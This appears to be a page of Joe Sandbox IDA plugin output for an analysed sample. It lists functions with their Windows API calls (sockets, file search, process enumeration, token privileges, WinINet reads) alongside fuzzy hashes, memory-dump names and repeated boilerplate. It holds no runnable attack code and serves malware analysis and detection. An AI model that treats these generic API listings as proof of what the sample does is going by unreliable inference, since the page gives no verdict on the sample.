Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: 40dc26e386fbb8b6c337db22c42852f8150e150d98174979974b3098ba23b709
Instruction ID: 84c948961cffa5fd0bc659562d5c0aae2d684c2a8b0919fd630e8c851c8a198f
Opcode Fuzzy Hash: 40dc26e386fbb8b6c337db22c42852f8150e150d98174979974b3098ba23b709
Instruction Fuzzy Hash: 3F21D0706006049FDB10EF68CC45A6EBBA9FF48320F148168E95AE73D6D770ED11CB52

Function 00815520 Relevance: 8.0, APIs: 5, Instructions: 516COMMON

Download Yara Rule

APIs

Part of subcall function 00820DB6: std::exception::exception.LIBCMT ref: 00820DEC
Part of subcall function 00820DB6: __CxxThrowException@8.LIBCMT ref: 00820E01

_memmove.LIBCMT ref: 00850258
_memmove.LIBCMT ref: 0085036D
_memmove.LIBCMT ref: 00850414

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: _memmove$Exception@8Throwstd::exception::exception
String ID:
API String ID: 1300846289-0
Opcode ID: 60b4bfc2f581b78d6d801f7b6a9c881815dae6a93c30e8030f716dcd40cb52b3
Instruction ID: fe7fbc4ce159b3f34406fb33bcfc77d00fd6c7679edda5011ab0bc1c309163c7
Opcode Fuzzy Hash: 60b4bfc2f581b78d6d801f7b6a9c881815dae6a93c30e8030f716dcd40cb52b3
Instruction Fuzzy Hash: E002B2B0A00619DFCF04DF68D981AAE7BB5FF84304F148069E806DB395EB35D994CB96

Function 00801287 Relevance: 7.9, APIs: 5, Instructions: 379COMMON

Download Yara Rule

APIs

Part of subcall function 00802612: GetWindowLongW.USER32(?,000000EB), ref: 00802623

DefDlgProcW.USER32(?,?,?,?,?), ref: 008019FA
GetSysColor.USER32(0000000F), ref: 00801A4E
SetBkColor.GDI32(?,00000000), ref: 00801A61

Part of subcall function 00801290: DefDlgProcW.USER32(?,00000020,?), ref: 008012D8

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ColorProc$LongWindow
String ID:
API String ID: 3744519093-0
Opcode ID: cfbdf5cd8f2e04de66392df85e5cac7126699dc6ff121df4f62c3e776e58293e
Instruction ID: 488c647a4c0fcef4aa53a67b87c324649223aeeb94dfbcf8ed4a78b5a18f91c9
Opcode Fuzzy Hash: cfbdf5cd8f2e04de66392df85e5cac7126699dc6ff121df4f62c3e776e58293e
Instruction Fuzzy Hash: 97A158B1212568BEEF79AB6C8C5CE7F395CFB81769F14011AF602D61D2DB209D4093B2

Function 0086BCBC Relevance: 7.6, APIs: 5, Instructions: 143fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 0086BCE6
_wcscmp.LIBCMT ref: 0086BD16
_wcscmp.LIBCMT ref: 0086BD2B
FindNextFileW.KERNEL32(00000000,?), ref: 0086BD3C
FindClose.KERNEL32(00000000,00000001,00000000), ref: 0086BD6C

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNext
String ID:
API String ID: 2387731787-0
Opcode ID: 1038abbaee96f1ad318146a95361a1a3cf58c793b0096eecc358ce77fe3d506f
Instruction ID: 4a938064fa250c41f8c57d4f4699e90c9bf521ac67c36ec0784a9790460df43f
Opcode Fuzzy Hash: 1038abbaee96f1ad318146a95361a1a3cf58c793b0096eecc358ce77fe3d506f
Instruction Fuzzy Hash: 8D519E756046019FC714DF28D890E9AB3E4FF49328F11462DEA56CB3A2DB30ED44CB92

Function 00876747 Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00877D8B: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00877DB6

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 0087679E
WSAGetLastError.WSOCK32(00000000), ref: 008767C7
bind.WSOCK32(00000000,?,00000010), ref: 00876800
WSAGetLastError.WSOCK32(00000000), ref: 0087680D
closesocket.WSOCK32(00000000,00000000), ref: 00876821

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ErrorLast$bindclosesocketinet_addrsocket
String ID:
API String ID: 99427753-0
Opcode ID: e5119851ace8896fefc78656496b34773353d292484ab8bd54607b229abcc26d
Instruction ID: 18f534087b3e1c68dfb9240218cfc3b90e577338ce2e53644526bf9297c6770e
Opcode Fuzzy Hash: e5119851ace8896fefc78656496b34773353d292484ab8bd54607b229abcc26d
Instruction Fuzzy Hash: 8641B475600614AFDB90AF288C86F6E77A8FF45754F04C568FA99EB3C3DA709D008792

Function 00885376 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 008853C5
IsWindowEnabled.USER32 ref: 008853D3
GetForegroundWindow.USER32(?,?,00000001), ref: 008853E0
IsIconic.USER32 ref: 008853EE
IsZoomed.USER32 ref: 008853FC

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: b54226e31160b969190ef7738b4dc44dedd877d1ff79a0352b8b901c40f670cb
Instruction ID: e29425127d7b91ff0a94f5e37b75eeaa898bf358b1677887daaeddddb5b54549
Opcode Fuzzy Hash: b54226e31160b969190ef7738b4dc44dedd877d1ff79a0352b8b901c40f670cb
Instruction Fuzzy Hash: 9A11E771300911AFEB217F2ADC44A6E7B99FF457A1B408438F945D3342DB70DD0187A5

Function 008580A9 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 008580C0
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 008580CA
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 008580D9
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 008580E0
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 008580F6

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 2b3c96d036781a0eee559104f79ba26b32971cfef3b996ff5cb703ea0d0a495b
Instruction ID: 97376fd5a3fc7eeb3e087e33b450205f477fbfcb3593e9092c900bf8f8d881dc
Opcode Fuzzy Hash: 2b3c96d036781a0eee559104f79ba26b32971cfef3b996ff5cb703ea0d0a495b
Instruction Fuzzy Hash: 78F06235280704EFEB114FA9EC8DE673BACFF49755F100026FA45D6151DB619C45DB60

Function 0086C397 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0086C432
CoCreateInstance.OLE32(00892D6C,00000000,00000001,00892BDC,?), ref: 0086C44A

Part of subcall function 00807DE1: _memmove.LIBCMT ref: 00807E22

CoUninitialize.OLE32 ref: 0086C6B7

Strings

.lnk, xrefs: 0086C3C6, 0086C3EE, 0086C3F8

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: 187351e2fc0c010ead62a073cf04ae725c437db79b91a00e4df4563e833cf8fc
Instruction ID: d31c176cdaf6069543c4937eeac06745050f772adc6a2d5149f79187079f0016
Opcode Fuzzy Hash: 187351e2fc0c010ead62a073cf04ae725c437db79b91a00e4df4563e833cf8fc
Instruction Fuzzy Hash: 91A139B1104205AFD740EF58CC81EABB7E8FF95354F00492DF595C72A2EB71AA49CB62

Function 00804B37 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00804AD0), ref: 00804B45
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00804B57

Strings

GetNativeSystemInfo, xrefs: 00804B51
kernel32.dll, xrefs: 00804B40

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: a2dc6c3f80a40bc974b1b11382852a3ffcbd98ed865185bf325065046d9d5d93
Instruction ID: 2617578ce70307da1f1cd7e127bf16967192bc0e383279003a3beacc531665aa
Opcode Fuzzy Hash: a2dc6c3f80a40bc974b1b11382852a3ffcbd98ed865185bf325065046d9d5d93
Instruction Fuzzy Hash: F7D0C274A00313CFC720AF75DC28B0272D4FF00360B1088399691D22A0D678D880C714

Function 00813030 Relevance: 6.6, APIs: 4, Instructions: 587COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: __itow__swprintf
String ID:
API String ID: 674341424-0
Opcode ID: 35ce72f2e06d8c365a7b17763fb2bbcd4b7b56d9cdac8dcd76024bff6f3a1f3b
Instruction ID: d91ad1df446a46d448fd620803d062ef6fbd85d29fe5835c0136ae3ee8cb35ed
Opcode Fuzzy Hash: 35ce72f2e06d8c365a7b17763fb2bbcd4b7b56d9cdac8dcd76024bff6f3a1f3b
Instruction Fuzzy Hash: 592258716083049BD724DF18D881BAAB7E8FF85314F10492DF99AD7291EB71E984CB93

Function 0087EE0D Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0087EE3D
Process32FirstW.KERNEL32(00000000,?), ref: 0087EE4B

Part of subcall function 00807DE1: _memmove.LIBCMT ref: 00807E22

Process32NextW.KERNEL32(00000000,?), ref: 0087EF0B
CloseHandle.KERNEL32(00000000,?,?,?), ref: 0087EF1A

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
String ID:
API String ID: 2576544623-0
Opcode ID: d03b89acaf2481e35c9223dfa2c8ea4079cbebbacf12e59f0ba25d7e96b44564
Instruction ID: f6b2650bd595956b1dd550f621cf67e82b2882e659325a4047cea71c751aec4e
Opcode Fuzzy Hash: d03b89acaf2481e35c9223dfa2c8ea4079cbebbacf12e59f0ba25d7e96b44564
Instruction Fuzzy Hash: F2516B715047119FD350EF28DC85A6BBBE8FF98710F10492DF995D62A2EB70E904CB92

Function 0085E616 Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 561stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 0085E628

Strings

(, xrefs: 0085E66E
|, xrefs: 0085E658

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: lstrlen
String ID: ($|
API String ID: 1659193697-1631851259
Opcode ID: 6e0658822e7ac3517855d21b712f28fa0b0bc14d05e24da79ae5aaeddaf4abd2
Instruction ID: 3f285f32020cd43c63ccb44c8bab95b05e08a124c9a88e7d8130aab3c81e2937
Opcode Fuzzy Hash: 6e0658822e7ac3517855d21b712f28fa0b0bc14d05e24da79ae5aaeddaf4abd2
Instruction Fuzzy Hash: 3D322675A007059FDB28CF29C48196AB7F1FF58320B15C56EE89ADB3A1E770EA45CB40

Function 008722EE Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,0087180A,00000000), ref: 008723E1
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00872418

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: fa7513bad64150400e265f415c8435a8f0b333925a0b41c44befc9f86d1ad2bd
Instruction ID: 043a9ae06a7918d7c3b1852f0a0613ee47eeb9e2d87b071b64a9b242e96a8eef
Opcode Fuzzy Hash: fa7513bad64150400e265f415c8435a8f0b333925a0b41c44befc9f86d1ad2bd
Instruction Fuzzy Hash: DE41F571904209BFEB20DE99DC81EBBB7BCFB40328F10806AF609E6255DA75DE419664

Function 0086B3FB Relevance: 4.6, APIs: 3, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0086B40B
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 0086B465
SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 0086B4B2

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 9d96effbda64b812d172c3788171de8db369491e15ac66b1dedc53bb6c0aa663
Instruction ID: 05be865196f355cb29ff96d233350778810c8c344070a2695ca76b561c61fc14
Opcode Fuzzy Hash: 9d96effbda64b812d172c3788171de8db369491e15ac66b1dedc53bb6c0aa663
Instruction Fuzzy Hash: 0A217175A00108EFCB00EFA9DC85AEDBBB8FF49314F1480A9E945EB352DB319955CB51

Function 008587E1 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00820DB6: std::exception::exception.LIBCMT ref: 00820DEC
Part of subcall function 00820DB6: __CxxThrowException@8.LIBCMT ref: 00820E01

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0085882B
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00858858
GetLastError.KERNEL32 ref: 00858865

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
String ID:
API String ID: 1922334811-0
Opcode ID: ce22a4313577101a4b63dedb25bb0e2aad6b62db7bc00b288944ce645c84a3b5
Instruction ID: 48760da86bb1e51a9b2fc0d94d90fb6f72c58a7cccda2386822a6aba68b98c43
Opcode Fuzzy Hash: ce22a4313577101a4b63dedb25bb0e2aad6b62db7bc00b288944ce645c84a3b5
Instruction Fuzzy Hash: D5118FB2414205AFE718DFA8EC85D6BB7F8FB44715B20852EF855D7252EB30BC448B60

Function 0085874B Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00858774
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 0085878B
FreeSid.ADVAPI32(?), ref: 0085879B

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: cf7d473e22800c15c01b01bb9e430e523f458dfd94e7f3bb5072bab14546fe4d
Instruction ID: 735381fe3e19db2bd4a39814413a4d2b5ea68af15b1f0cdd71845c96c863a654
Opcode Fuzzy Hash: cf7d473e22800c15c01b01bb9e430e523f458dfd94e7f3bb5072bab14546fe4d
Instruction Fuzzy Hash: D6F04975A1130CBFDF00DFF4DC89AAEBBBCFF08201F1044A9AA01E2182E7756A048B50

Function 0086C6D1 Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 0086C6FB
FindClose.KERNEL32(00000000), ref: 0086C72B

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: a0528a9ddfe1709863ae602b1bf0c612ff381000ebd44eda423d5ca5491b9b67
Instruction ID: 8a0fdc4a2634ef14930bf6fad4660c25e8ce148b992101675bdb3ca9208c939d
Opcode Fuzzy Hash: a0528a9ddfe1709863ae602b1bf0c612ff381000ebd44eda423d5ca5491b9b67
Instruction Fuzzy Hash: 26113C726006049FDB109F29D845A2AB7E9FF85325F018529F9A9D7391DB30A805CB81

Function 0086A06A Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,00879468,?,0088FB84,?), ref: 0086A097
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,00879468,?,0088FB84,?), ref: 0086A0A9

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: a079448e60c987cd6c395aac040bef9435699a1abe44beb3f1fb02e6b65af09f
Instruction ID: bf23352285aeedae19341d3ac168ba832aae1a00b7f97b9f777e8d2c79c315a7
Opcode Fuzzy Hash: a079448e60c987cd6c395aac040bef9435699a1abe44beb3f1fb02e6b65af09f
Instruction Fuzzy Hash: A4F0823555522DABDB21AFA8CC48FEA776CFF09761F004165FA09D6182DA309940CBA2

Function 008581CB Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00858309), ref: 008581E0
CloseHandle.KERNEL32(?,?,00858309), ref: 008581F2

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
